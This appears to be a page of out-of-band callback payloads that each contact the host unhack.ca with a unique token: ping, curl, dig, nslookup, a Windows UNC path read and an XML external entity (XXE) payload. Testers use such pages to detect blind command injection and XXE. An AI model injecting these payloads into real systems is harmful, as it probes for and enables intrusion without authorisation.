$ ping -c1 -p 00cf3125805e17129ee1bd6a42169b00 unhack.ca
 

$ curl http://unhack.ca/p/cf3125805e17129ee1bd6a42169b
 

$ dig cf3125805e17129ee1bd6a42169b @unhack.ca
 

$ dig cf3125805e17129ee1bd6a42169b.ns.unhack.ca
 

C:\> nslookup cf3125805e17129ee1bd6a42169b unhack.ca
 

C:\> type \\unhack.ca\cf3125805e17129ee1bd6a42169b\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/cf3125805e17129ee1bd6a42169b">]>
    <foo>&xxe;</foo>